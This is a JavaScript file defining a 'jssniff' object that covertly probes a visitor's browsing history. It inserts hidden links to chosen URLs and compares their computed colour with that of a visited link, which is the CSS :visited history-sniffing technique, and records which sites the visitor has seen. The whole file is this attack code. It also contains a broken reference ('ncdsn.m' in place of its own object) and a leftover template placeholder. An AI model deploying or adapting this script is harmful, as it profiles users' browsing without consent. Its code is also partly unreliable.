var jssniff = {
    links	: new Array(),
    linkids	: new Array(),
    vlinks	: new Array(),
    vcolor	: 0,
    e		: 0,
    m		: 0,
    
    init : function () {
	  ncdsn.m = Math.random();
	  
	  if(!document.getElementById(jssniff.e)) {
		var c = document.createElement('div');
		c.style.display = 'none';
		c.setAttribute('id', jssniff.e);
		c.setAttribute('class', 'jssniff');
		document.getElementsByTagName('body')[0].appendChild(c);
	  }
	  
	  jssniff.getvcolor();
	  if(jssniff.checkcolors()) {
		jssniff.loop();
	  }
    },
    
    getVLinks : function() {
	  return jssniff.vlinks;  
    },
    
    add : function (id, link) {
	  jssniff.linkids.push(id);
	  jssniff.links.push(link);
    },
    
    getvcolor : function () {
	  jssniff.insert('check'+jssniff.m, window.location.href.substr(7));
	  jssniff.vcolor = jssniff.getStyle('check'+jssniff.m);
	  jssniff.remove('check'+jssniff.m);
    },
	  
    checkcolors : function () {
	  jssniff.insert('check'+jssniff.m, window.location.href.substr(7)+jssniff.m);
	  var c = jssniff.getStyle('check'+jssniff.m);
	  jssniff.remove('check'+jssniff.m);
	  if(jssniff.vcolor == c) {
		return 0;
	  }
	  return 1;
    },     

    loop : function () {
	  
	  for(var i=0;i<jssniff.links.length;i++) {
		if(typeof jssniff.links[i] == 'string') {
		    jssniff.links[i] = new Array(jssniff.links[i]);
		}
	
		for(c=0;c<jssniff.links[i].length;c++) {
		    jssniff.insert(jssniff.linkids[i]+jssniff.m, jssniff.links[i][c]);
	    
		    if(jssniff.check(jssniff.linkids[i]+jssniff.m)) {
			  //alert(jssniff.links[i][c]);
			  jssniff.vlinks.push(jssniff.linkids[i]);
			  break;			  
		    }
		    jssniff.remove(jssniff.linkids[i]+jssniff.m);
		}
	  }
    },

    cleanup : function () {
	  jssniff.remove(jssniff.e);
	  //jssniff.remove('{$scriptid}');
	  jssniff.links = null;
	  jssniff.linkids = null;
	  jssniff.vlinks = null;
	  jssniff.e = null;
	  jssniff.m = null;
	  jssniff.vcolor = null;
	  jssniff = null;
    },
    
    insert : function (id, link) {
	  var la = document.createElement('a');
	  if(link.substring(0, 5) == 'https') {
		la.setAttribute('href', link);
	  }
	  else {
		la.setAttribute('href', 'http://'+link);
	  }
	  la.setAttribute('id', id);
	  document.getElementById(jssniff.e).appendChild(la);
    },
	  
    getStyle : function (id) {
	  var e = document.getElementById(id);
	  var value = e.style['color'];
	  if (!value && e.currentStyle) {
		value = e.currentStyle['color'];
	  }
	  if (!value && document.defaultView) {
		var css = document.defaultView.getComputedStyle(e, null);
		value = css ? css['color'] : null;
	  }
	  return value;        
    },
	  
    check : function (id) {
	  return (jssniff.getStyle(id) == jssniff.vcolor);
    },
	  
    remove : function(id) {
	  document.getElementById(id).parentNode.removeChild(document.getElementById(id));
    },
    
    end : function () {
	  return;
    }
};